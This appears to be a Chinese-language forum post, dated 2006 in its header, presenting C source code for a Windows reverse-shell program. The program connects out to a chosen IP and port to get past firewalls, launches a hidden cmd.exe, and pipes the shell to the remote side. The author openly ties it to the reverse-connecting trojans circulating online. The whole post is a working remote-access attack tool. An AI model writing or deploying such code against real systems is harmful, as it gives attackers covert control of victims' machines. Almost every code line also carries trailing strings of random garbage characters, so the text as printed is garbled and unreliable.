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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ""`> v`\  
gM=oH   
/* ============================== M7Ej#Y  
Rebound port in Windows NT ]{0R0Gr94  
By wind,2006/7 0Yz &aH  
===============================*/ {l&6= z  
#include N<wy"N{iS  
#include zt/p' khP3  
gb 6 gIFq;  
#pragma comment(lib,"wsock32.lib") #6g-{OBv  
:`BZ,j_  
void OutputShell(); 7{=<_  
SOCKET sClient; Kj[X1X5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; &.k'Dj2hf  
l:NEK`>i  
void main(int argc,char **argv) (WT0 j  
{ n 99>oh  
WSADATA stWsaData; bni :B?#  
int nRet; u@d`$]/>F  
SOCKADDR_IN stSaiClient,stSaiServer; vUa~PN+Iy  
4-^LC<}k  
if(argc != 3) I!bzvPJ]xc  
{ AHsp:0Ma#  
printf("Useage:\n\rRebound DestIP DestPort\n"); [\N,ow,n  
return; b 62 o  
} .<JD'%?"  
rAqg<fR*  
WSAStartup(MAKEWORD(2,2),&stWsaData); (1e;7sNG@  
+ >o/Ob  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1g`$[wp|  
i9}n\r0=c  
stSaiClient.sin_family = AF_INET; NJ8QI(^"  
stSaiClient.sin_port = htons(0); >T3HkOT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;OW`(jC  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4xLU15C  
{ [~$Ji&Dd  
printf("Bind Socket Failed!\n"); $I(2}u?1+d  
return; G hH0-g{-  
} e* gCc7zz  
hg7`jE&2  
stSaiServer.sin_family = AF_INET; d!) &@k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ':yE5j  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Zyq h  
vPuPSE%M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xM85^B'  
{ k1y&' 3%  
printf("Connect Error!"); @Tmqw(n{  
return; ` c~:3^?9d  
} *LJN2;  
OutputShell(); BBw]>*  
} kJIKULf  
k)\Yl`4au  
void OutputShell() O?Xg%k#  
{ Z[8{V  
char szBuff[1024]; $x;wnXXXM  
SECURITY_ATTRIBUTES stSecurityAttributes; cad1eOT'  
OSVERSIONINFO stOsversionInfo; 8EZ"z d`n/  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >*%ySlZbs  
STARTUPINFO stStartupInfo; ^!^8]u<Q  
char *szShell; `WF?87l1  
PROCESS_INFORMATION stProcessInformation; r-]Au -  
unsigned long lBytesRead; b\~rL,7(  
qA:CV(Z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7V?]Qif~  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2&fIF}vk>m  
stSecurityAttributes.lpSecurityDescriptor = 0; *%5#\ I  
stSecurityAttributes.bInheritHandle = TRUE; 2#'{Q4K  
ehj&A+Ip  
Y}(#kqh>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]5D?Sc#-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); F;yq/e#Q  
 8YFfnk  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ty\&ARjb 8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Nb\4Mv`  
stStartupInfo.wShowWindow = SW_HIDE; A"`6 2  
stStartupInfo.hStdInput = hReadPipe; }S'+Ytea  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; s9) @$3\  
/Kb7#uq  
GetVersionEx(&stOsversionInfo); 4A0R07"  
Z[KXDQn8  
switch(stOsversionInfo.dwPlatformId) B&|F9Z6D  
{ s5FyP "V  
case 1: )ARfI)<1b  
szShell = "command.com"; l i}4d+  
break; {/12.y=)~  
default: <jU[&~p  
szShell = "cmd.exe"; ch,<4E/c[R  
break; zllY $V&<!  
} l){l*~5zl2  
Q)yhpwrX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); mJ0nyjX^  
?1}1uJMj-  
send(sClient,szMsg,77,0); OtJYr1:y_  
while(1) pgT{#[=>  
{ k7)H %31;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R{)Sv| +`  
if(lBytesRead) HB`u@9le  
{ c ;`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7 }(LO^,A  
send(sClient,szBuff,lBytesRead,0); oH!sJ&"#_  
} 4 W}8?&T  
else tUv@4<~,/  
{ t`03$&Cx7  
lBytesRead=recv(sClient,szBuff,1024,0); rs2~spN;h  
if(lBytesRead<=0) break; "v4;m\g&:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3nf+ imAF  
} Jis{k$4  
} YMLo~j4J  
;^xlDN  
return; ftF?T.dx  
}
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